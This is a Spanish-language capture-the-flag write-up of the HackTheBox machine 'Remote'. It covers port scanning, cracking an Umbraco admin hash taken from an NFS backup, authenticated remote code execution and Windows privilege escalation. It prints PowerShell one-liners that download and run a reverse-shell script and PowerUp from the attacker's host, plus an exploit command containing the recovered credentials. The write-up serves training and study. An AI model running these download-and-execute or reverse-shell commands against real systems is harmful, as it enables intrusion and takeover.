HTB – WriteUp- Remote

Buenas a todos!

Continuamos con los writeups de máquinas de HacktheBox (sí ya sé que últimamente somos mono-tema) En esta ocasión es el turno de Remote, que fue retirada recientemente. Una máquina bastante categorizada como fácil. Ideal para repasar conceptos y escalar privilegios en máquinas Windows.

El write-up se divide en tres fases:

  • Enumeración
  • Explotación
  • Escalada de privilegios

Enumeración

En primer lugar, para identificar los servicios y puertos abiertos se ejecuta la herramienta nmap:

Nmap scan report for 10.10.10.180
Host is up (0.16s latency).
Not shown: 993 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
111/tcp open rpcbind 2-4 (RPC #100000)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
2049/tcp open mountd 1-3 (RPC #100005)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

A continuación, se pasa con la opción «-sC» para aplicar los scripts de enumeración:

Nmap scan report for 10.10.10.180
Host is up (0.15s latency).PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Home – Acme Widgets
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3,4 2049/tcp nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/udp mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100024 1 2049/tcp status
|_ 100024 1 2049/udp status
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
2049/tcp open mountd 1-3 (RPC #100005)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:
|_clock-skew: mean: 46s, deviation: 0s, median: 46s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-04-21 12:52:36
|_ start_date: N/A

Destaca un FTP con anymous habilitado, SMB, un servicio web, así como los resultados de la enumeración sobre NFS.

Comenzando por el FTP, se accede pero no se identificada nada 🙁

A continuación, se accede vía web al típico sitio gestionado por un CMS:

Se procede a hacer fuzzing con objeto de descubrir rutas por defecto o bien identificar qué CMS puede alojar:

Target: http://10.10.10.180

[13:07:41] Starting:
[13:07:46] 200 – 7KB – /Home
[13:08:07] 200 – 5KB – /Blog
[13:08:07] 200 – 7KB – /People
[13:08:09] 200 – 5KB – /Products
[13:08:12] 200 – 5KB – /blog
[13:08:21] 200 – 8KB – /Contact
[13:08:26] 200 – 8KB – /contact
[13:08:51] 200 – 5KB – /about-us
[13:08:56] 200 – 7KB – /home
[13:08:59] 302 – 126B – /install -> /umbraco/
[13:09:00] 200 – 3KB – /intranet
[13:09:08] 500 – 3KB – /master
[13:09:18] 200 – 7KB – /people
[13:09:25] 200 – 3KB – /person
[13:09:26] 200 – 5KB – /products
[13:09:32] 500 – 3KB – /product
[13:09:50] 200 – 4KB – /umbraco

Se identifica que se trata del CMS Umbraco:

Lo primero es probar si cuenta con las credenciales por defecto (admin:test):

No funcionan, pero sí vemos que sigue el usuario por defecto gracias a la enumeración de usuarios que dispone.

Después de darle una vuelta y practicar un poco de fuerza bruta, se quedó aparcado y se dio un paso atrás para enumerar el servicio que no se había ojeado: NFS. En primer lugar, se enumera mediante la herramienta rpcinfo y se detecta mediante showmount que dispone de una carpeta «montada»:

Entonces localmente, se monta una carpeta con «mnt» para acceder al directorio backups:

Rápidamente, se identifican las carpetas del Umbraco. Este acceso debería facilitar las credenciales o alguna pista para continuar por el servicio web, por lo que merece la pena enumerar con detenimiento:

Después de buscar y «grepear», se identifican usuarios y hashes (en SHA):

Se confirma con hash-identifier que efectivamente se encuentra «hasheados» con SHA-1:

Antes de ponerse a crackear, se busca en Google obteniendo resultados en los principales repositorios de hashes crackeados:

Tras encontrar las credenciales y comprobar que funcionan (admin@htb.local:baconandcheese) finaliza la fase de enumeración y comienza la fase de explotación con objeto de lograr acceso remoto a la máquina.

Explotación

Tras autenticarse con las credenciales obtenidas:

Rápidamente, se obtiene la versión del CMS instalado:

¿Habrá algna vulnerabilidad que permita RCE?

searchsploit umbraco
——————————————————————————————————— —————————————-
Exploit Title | Path
| (/usr/share/exploitdb/)
——————————————————————————————————— —————————————-
Umbraco CMS – Remote Command Execution (Metasploit) | exploits/windows/webapps/19671.rb
Umbraco CMS 7.12.4 – (Authenticated) Remote Code Execution | exploits/aspx/webapps/46153.py
Umbraco CMS SeoChecker Plugin 1.9.2 – Cross-Site Scripting | exploits/php/webapps/44988.txt
——————————————————————————————————— —————————————-

Dejando de lado metasploit,

https://www.exploit-db.com/exploits/46153

Disponemos de esta tool en github:

https://github.com/noraj/Umbraco-RCE

Testeándola:

It works! Se comprueba que también funciona bien llamando a powershell con las opciones del help para ejecutar comandos:

El siguiente paso es descargar y ejecutar el payload para obtener la shell reversa. Para ello, se va a hacer uso de mini-reverse.ps1

https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1

como dropper. Para ello, ejecutando el siguiente código:

powershell IEX (New-Object Net.WebClient).DownloadString(‘http://10.10.14.57:1222/mini-reverse.ps1′)

Tal que:

python exploit.py -u admin@htb.local -p baconandcheese -i ‘http://10.10.10.180′ -c powershell.exe -a «IEX (New-Object Net.WebClient).DownloadString(‘http://10.10.14.57/mini-reverse.ps1′)»

Tras poner nuestro listener con el payload:

Obteniendo shell reversa:

Se recoge la flag de user:

Con esto finaliza la fase de explotación y comienza la de escalada de privilegios con objeto de ser administrador local.

Escalada de privilegios

Se pasa nuestra tool favorita para enumerar en Windows. En este caso se hizo uso de PowerUp:

powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString(‘http://10.10.14.57/PowerUp.ps1′);Invoke-AllChecks

Hay suerte! Se ha encontrado un abuso de funcionalidad (CVE-2019-1322) que nos permitiría ejecutar comandos como admin. Para no extender más de lo necesario el post, en el github de AllPayloads viene explicado:

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md

Se crea una shell reversa con msfvenom y se transfiere (suerte que no haya AV):

Siguiendo el post se configura el servicio Svc y se ejecuta:

Llegando la shell con privilegios de authority\system:

Obteniendo la flag de root:

Nos vemos en el próximo post!

Saludos.

N4xh4xk5

La mejor defensa, es un buen ataque